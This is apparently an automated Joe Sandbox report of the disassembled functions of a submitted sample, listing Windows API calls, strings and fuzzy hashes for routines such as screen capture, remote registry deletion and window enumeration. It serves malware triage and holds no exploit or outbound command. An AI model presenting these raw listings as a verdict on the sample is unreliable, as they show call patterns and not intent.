CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 007685E7
CreateStreamOnHGlobal.OLE32(00000000,00000001,000000F0,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 007685F8
OleLoadPicture.OLEAUT32(000000F0,00000000,00000000,0076FC38,?), ref: 00768611
GlobalFree.KERNEL32(00000000), ref: 00768621
GetObjectW.GDI32(?,00000018,?), ref: 00768641
CopyImage.USER32(?,00000000,00000000,?,00002000), ref: 00768671
DeleteObject.GDI32(?), ref: 00768699
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 007686AF

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: eb3c30d5affcfa0ccd82823cd27a89650dc7dd919516fa932f8fecbc162b5ce3
Instruction ID: 5ebb3cbf9c5c1b90859c4d049f1c11b3e252c764ba5b04a3f02b637f2a98c6dd
Opcode Fuzzy Hash: eb3c30d5affcfa0ccd82823cd27a89650dc7dd919516fa932f8fecbc162b5ce3
Instruction Fuzzy Hash: A8412875600208AFDB129FA5CC48EAA7BB8FF89B11F108159FD46E7261DB789D01CF25

Function 007414BD Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 360timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00741502
VariantCopy.OLEAUT32(?,?), ref: 0074150B
VariantClear.OLEAUT32(?), ref: 00741517
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 007415FB
VarR8FromDec.OLEAUT32(?,?), ref: 00741657
VariantInit.OLEAUT32(?), ref: 00741708
SysFreeString.OLEAUT32(?), ref: 0074178C
VariantClear.OLEAUT32(?), ref: 007417D8
VariantClear.OLEAUT32(?), ref: 007417E7
VariantInit.OLEAUT32(00000000), ref: 00741823

Strings

Default, xrefs: 007416AF
%4d%02d%02d%02d%02d%02d, xrefs: 00741625

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 1234038744-3931177956
Opcode ID: 05228d4c3f8b1cc9573b3d7f44bef767aa7c55e9fb1e4406a7e8f8bc1c33183b
Instruction ID: 5e126d131e37f5975fa5dc322948794febb279cdd899d2c5552e4875c3c40ff9
Opcode Fuzzy Hash: 05228d4c3f8b1cc9573b3d7f44bef767aa7c55e9fb1e4406a7e8f8bc1c33183b
Instruction Fuzzy Hash: 4DD1E271A00219DBDB00FF65D885BB9FBB6BF44700F54815AF446AB280DB38EC91DBA1

Function 0075B60E Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 285registrylibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 006D9CB3: _wcslen.LIBCMT ref: 006D9CBD

Part of subcall function 0075C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0075B6AE,?,?), ref: 0075C9B5
Part of subcall function 0075C998: _wcslen.LIBCMT ref: 0075C9F1
Part of subcall function 0075C998: _wcslen.LIBCMT ref: 0075CA68
Part of subcall function 0075C998: _wcslen.LIBCMT ref: 0075CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0075B6F4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0075B772
RegDeleteValueW.ADVAPI32(?,?), ref: 0075B80A
RegCloseKey.ADVAPI32(?), ref: 0075B87E
RegCloseKey.ADVAPI32(?), ref: 0075B89C
LoadLibraryA.KERNEL32(advapi32.dll), ref: 0075B8F2
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 0075B904
RegDeleteKeyW.ADVAPI32(?,?), ref: 0075B922
FreeLibrary.KERNEL32(00000000), ref: 0075B983
RegCloseKey.ADVAPI32(00000000), ref: 0075B994

Strings

RegDeleteKeyExW, xrefs: 0075B8FE
advapi32.dll, xrefs: 0075B8ED

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: _wcslen$Close$DeleteLibrary$AddressBuffCharConnectFreeLoadOpenProcRegistryUpperValue
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 146587525-4033151799
Opcode ID: ce366675221b07dc4a002bc98296aed2713ea70288fc0038b65e222dd3ddce04
Instruction ID: da68f1e1edd1ca2d0e375a5f745c1c7fdb33612ca775d12da4eda411db99b46f
Opcode Fuzzy Hash: ce366675221b07dc4a002bc98296aed2713ea70288fc0038b65e222dd3ddce04
Instruction Fuzzy Hash: 5FC16C30604201EFD714DF14C495F6ABBE5AF84319F14859DF89A8B3A2CBB9EC49CB91

Function 0075255C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 169windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 007525D8
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 007525E8
CreateCompatibleDC.GDI32(?), ref: 007525F4
SelectObject.GDI32(00000000,?), ref: 00752601
StretchBlt.GDI32(?,00000000,00000000,?,?,?,00000006,?,?,?,00CC0020), ref: 0075266D
GetDIBits.GDI32(?,?,00000000,00000000,00000000,00000028,00000000), ref: 007526AC
GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 007526D0
SelectObject.GDI32(?,?), ref: 007526D8
DeleteObject.GDI32(?), ref: 007526E1
DeleteDC.GDI32(?), ref: 007526E8
ReleaseDC.USER32(00000000,?), ref: 007526F3

Strings

(, xrefs: 0075268D

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: abad569c0cb73a36f770cd24593051f5ec5fc02a5c28297c7d747c7ca9050734
Instruction ID: 339b68b6ccc4e8b2b747b313eb488de7da2ea882d66853ce70fb172437d29f44
Opcode Fuzzy Hash: abad569c0cb73a36f770cd24593051f5ec5fc02a5c28297c7d747c7ca9050734
Instruction Fuzzy Hash: FA6105B5D00219EFCF05CFA4D884AAEBBF5FF48310F208529E956A7251E7B4A941CF94

Function 0070DA5D Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0070DAA1

Part of subcall function 0070D63C: _free.LIBCMT ref: 0070D659
Part of subcall function 0070D63C: _free.LIBCMT ref: 0070D66B
Part of subcall function 0070D63C: _free.LIBCMT ref: 0070D67D
Part of subcall function 0070D63C: _free.LIBCMT ref: 0070D68F
Part of subcall function 0070D63C: _free.LIBCMT ref: 0070D6A1
Part of subcall function 0070D63C: _free.LIBCMT ref: 0070D6B3
Part of subcall function 0070D63C: _free.LIBCMT ref: 0070D6C5
Part of subcall function 0070D63C: _free.LIBCMT ref: 0070D6D7
Part of subcall function 0070D63C: _free.LIBCMT ref: 0070D6E9
Part of subcall function 0070D63C: _free.LIBCMT ref: 0070D6FB
Part of subcall function 0070D63C: _free.LIBCMT ref: 0070D70D
Part of subcall function 0070D63C: _free.LIBCMT ref: 0070D71F
Part of subcall function 0070D63C: _free.LIBCMT ref: 0070D731

_free.LIBCMT ref: 0070DA96

Part of subcall function 007029C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0070D7D1,00000000,00000000,00000000,00000000,?,0070D7F8,00000000,00000007,00000000,?,0070DBF5,00000000), ref: 007029DE
Part of subcall function 007029C8: GetLastError.KERNEL32(00000000,?,0070D7D1,00000000,00000000,00000000,00000000,?,0070D7F8,00000000,00000007,00000000,?,0070DBF5,00000000,00000000), ref: 007029F0

_free.LIBCMT ref: 0070DAB8
_free.LIBCMT ref: 0070DACD
_free.LIBCMT ref: 0070DAD8
_free.LIBCMT ref: 0070DAFA
_free.LIBCMT ref: 0070DB0D
_free.LIBCMT ref: 0070DB1B
_free.LIBCMT ref: 0070DB26
_free.LIBCMT ref: 0070DB5E
_free.LIBCMT ref: 0070DB65
_free.LIBCMT ref: 0070DB82
_free.LIBCMT ref: 0070DB9A

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 0b50f2e46493ae6a8fa6652d446d4f72f3fbf7efdec349bbdef2f80f4d200b3d
Instruction ID: 6018ebed41e9d267bea4c28b79fa41bbac574d83e224d63c9a569dc357b537f2
Opcode Fuzzy Hash: 0b50f2e46493ae6a8fa6652d446d4f72f3fbf7efdec349bbdef2f80f4d200b3d
Instruction Fuzzy Hash: B0313BB2604305DFEB31AAB9E849B5677E9FF00310F254629E449E71E2DB79BC41CB20

Function 0073365B Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 267windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 0073369C
_wcslen.LIBCMT ref: 007336A7
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00733797
GetClassNameW.USER32(?,?,00000400), ref: 0073380C
GetDlgCtrlID.USER32(?), ref: 0073385D
GetWindowRect.USER32(?,?), ref: 00733882
GetParent.USER32(?), ref: 007338A0
ScreenToClient.USER32(00000000), ref: 007338A7
GetClassNameW.USER32(?,?,00000100), ref: 00733921
GetWindowTextW.USER32(?,?,00000400), ref: 0073395D

Strings

%s%u, xrefs: 00733734

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout_wcslen
String ID: %s%u
API String ID: 4010501982-679674701
Opcode ID: 5b86906b69c6d471b1fb5825197008676316b16e2cc47cdb9842836720eeaff3
Instruction ID: 77a44cab104a3df3e87f57f2509f6c521f3c2253fe6fecfc8bcadcfbe7e3cc6a
Opcode Fuzzy Hash: 5b86906b69c6d471b1fb5825197008676316b16e2cc47cdb9842836720eeaff3
Instruction Fuzzy Hash: FC91B371204706EFE725DF24C885BEAF7A9FF44314F008619FA9AC2151DB78EA45CBA1

Function 00734954 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000400), ref: 00734994
GetWindowTextW.USER32(?,?,00000400), ref: 007349DA
_wcslen.LIBCMT ref: 007349EB
CharUpperBuffW.USER32(?,00000000), ref: 007349F7
_wcsstr.LIBVCRUNTIME ref: 00734A2C
GetClassNameW.USER32(00000018,?,00000400), ref: 00734A64
GetWindowTextW.USER32(?,?,00000400), ref: 00734A9D
GetClassNameW.USER32(00000018,?,00000400), ref: 00734AE6
GetClassNameW.USER32(?,?,00000400), ref: 00734B20
GetWindowRect.USER32(?,?), ref: 00734B8B

Strings

ThumbnailClass, xrefs: 00734A6F, 00734AF1

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen_wcsstr
String ID: ThumbnailClass
API String ID: 1311036022-1241985126
Opcode ID: cc00528501475ab3f434850dab90e39b297c74276aaec789c25e82aa852bc4cc
Instruction ID: 3fb23d8e35cc4b88847fddd582befdc8fbffc90a06de1bce9d5188855df0817b
Opcode Fuzzy Hash: cc00528501475ab3f434850dab90e39b297c74276aaec789c25e82aa852bc4cc
Instruction Fuzzy Hash: 8691DE711042099FEB08CF14C985BBAB7E9FF84314F04846AFD869A196DB38FD45CBA5

Function 00768D0E Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 221windowCOMMON

Download Yara Rule

APIs

Part of subcall function 006E9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 006E9BB2

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00768D5A
GetFocus.USER32 ref: 00768D6A
GetDlgCtrlID.USER32(00000000), ref: 00768D75
DefDlgProcW.USER32(?,00000111,?,?,00000000,?,?,?,?,?,?,?), ref: 00768E1D
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00768ECF
GetMenuItemCount.USER32(?), ref: 00768EEC
GetMenuItemID.USER32(?,00000000), ref: 00768EFC
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00768F2E
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00768F70
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00768FA1

Strings

0, xrefs: 00768E9F

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow
String ID: 0
API String ID: 1026556194-4108050209
Opcode ID: 8c8cbf347b941b88231d126bbd9b83732bd78a06c42b3505112ba236e9a40a27
Instruction ID: 10a2a4f5845e8c3d90b36a96496ba7b2a45b6c59256668b71782eab77808b2e2
Opcode Fuzzy Hash: 8c8cbf347b941b88231d126bbd9b83732bd78a06c42b3505112ba236e9a40a27
Instruction Fuzzy Hash: 8F81E071508301AFDB50CF24C884AAB7BE9FF88314F144A1DFD9697291DB79E904CB66

Function 0075CC34 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 104registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 0075CC64
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?,00000000), ref: 0075CC8D
FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 0075CD48

Part of subcall function 0075CC34: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 0075CCAA
Part of subcall function 0075CC34: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00000000), ref: 0075CCBD
Part of subcall function 0075CC34: GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 0075CCCF
Part of subcall function 0075CC34: FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 0075CD05
Part of subcall function 0075CC34: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 0075CD28

RegDeleteKeyW.ADVAPI32(?,?), ref: 0075CCF3

Strings

RegDeleteKeyExW, xrefs: 0075CCC9
advapi32.dll, xrefs: 0075CCB8

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Library$EnumFree$AddressCloseDeleteLoadOpenProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2734957052-4033151799
Opcode ID: 57230b7916e5c44c7b99b1be2f0fb1987dc9807ef0004c05555a77df9ebdcab5
Instruction ID: b8ba0860d2586482295cdb6391ca90cd043205d7a179a3e936eb068bd3f112d6
Opcode Fuzzy Hash: 57230b7916e5c44c7b99b1be2f0fb1987dc9807ef0004c05555a77df9ebdcab5
Instruction Fuzzy Hash: AF3170B1A01318BFDB229B90DC88EFFBB7CEF05741F004165E906E6140D6B89E49DAB4

Function 0073E6B0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0073E6B4

Part of subcall function 006EE551: timeGetTime.WINMM(?,?,0073E6D4), ref: 006EE555

Sleep.KERNEL32(0000000A), ref: 0073E6E1
EnumThreadWindows.USER32(?,Function_0006E665,00000000), ref: 0073E705
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 0073E727
SetActiveWindow.USER32 ref: 0073E746
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 0073E754
SendMessageW.USER32(00000010,00000000,00000000), ref: 0073E773
Sleep.KERNEL32(000000FA), ref: 0073E77E
IsWindow.USER32 ref: 0073E78A
EndDialog.USER32(00000000), ref: 0073E79B

Strings

BUTTON, xrefs: 0073E719

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: fc667f9e1056235d70f9d9d2e829fa35b1041ac5780bf39ff9e35c545dc4f876
Instruction ID: 45b46c6be4eaf3b4137bb4aeeb3ae404af5ceccf8a5c06e72832753c35833b95
Opcode Fuzzy Hash: fc667f9e1056235d70f9d9d2e829fa35b1041ac5780bf39ff9e35c545dc4f876
Instruction Fuzzy Hash: 0D2184B0241305EFFB125F64EC99A353B69F796348F108425F55682AE3DBBD9C118B2C

Function 0073E9FC Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 006D9CB3: _wcslen.LIBCMT ref: 006D9CBD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 0073EA5D
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 0073EA73
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0073EA84
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 0073EA96
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 0073EAA7

Strings

open , xrefs: 0073EA0C
play PlayMe, xrefs: 0073EAA2
close PlayMe, xrefs: 0073EA6E, 0073EA9B
play PlayMe wait, xrefs: 0073EA91
alias PlayMe, xrefs: 0073EA36
status PlayMe mode, xrefs: 0073EA58

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: SendString$_wcslen
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2420728520-1007645807
Opcode ID: 7bf90f6dafb71b8cf3497a45f062c5af8be2aaa790c8b2f9799816e7afe02a1a
Instruction ID: 8c738fe0caa5d1a88ce1add17fe38ff80b08772ae4c49754e8bac7581892db83
Opcode Fuzzy Hash: 7bf90f6dafb71b8cf3497a45f062c5af8be2aaa790c8b2f9799816e7afe02a1a
Instruction Fuzzy Hash: C6117371A5026979EB20A7A2EC4AEFF6B7CEBD1F50F00452EB401A21D1EEB45D05C5B0

Function 006E8BCD Relevance: 18.2, APIs: 12, Instructions: 168timeCOMMON

Download Yara Rule

APIs

Part of subcall function 006E8F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,006E8BE8,?,00000000,?,?,?,?,006E8BBA,00000000,?), ref: 006E8FC5

DestroyWindow.USER32(?), ref: 006E8C81
KillTimer.USER32(00000000,?,?,?,?,006E8BBA,00000000,?), ref: 006E8D1B
DestroyAcceleratorTable.USER32(00000000), ref: 00726973
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,00000000,?,?,?,?,006E8BBA,00000000,?), ref: 007269A1
ImageList_Destroy.COMCTL32(?,?,?,?,?,?,?,00000000,?,?,?,?,006E8BBA,00000000,?), ref: 007269B8
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,?,?,00000000,?,?,?,?,006E8BBA,00000000), ref: 007269D4
DeleteObject.GDI32(00000000), ref: 007269E6

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 4bb26aec956ead845dbad22fb697a3635e9652425212de7769618bfd86d23a28
Instruction ID: c532157a4ffe608edce663264216bfb64cc7f2faa5811376aa32e0b3253d1f69
Opcode Fuzzy Hash: 4bb26aec956ead845dbad22fb697a3635e9652425212de7769618bfd86d23a28
Instruction Fuzzy Hash: E861AF30003790DFDB229F16D94872677F2FB82712F64851DE0869B660CB79B981CF98

Function 006E9838 Relevance: 18.1, APIs: 12, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 006E9944: GetWindowLongW.USER32(?,000000EB), ref: 006E9952

GetSysColor.USER32(0000000F), ref: 006E9862

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: f2cb288920d473719dd114cdb5f38dd60a17ceecf1f6f24acf7a6f9c6bf5cb41
Instruction ID: f2ec25cf4292dc54dc20e237437823fe99ca42be3dae8a77c56f510eeffe5df2
Opcode Fuzzy Hash: f2cb288920d473719dd114cdb5f38dd60a17ceecf1f6f24acf7a6f9c6bf5cb41
Instruction Fuzzy Hash: 8B41E2311017949FDB255F399C84BBA3B66AF06330F248A05F9A28B2F2D3749C42DB21

Function 007396E2 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,?,?,0071F7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?), ref: 00739717
LoadStringW.USER32(00000000,?,0071F7F8,00000001), ref: 00739720

Part of subcall function 006D9CB3: _wcslen.LIBCMT ref: 006D9CBD

GetModuleHandleW.KERNEL32(00000000,00000001,?,00000FFF,?,?,0071F7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?,00000000), ref: 00739742
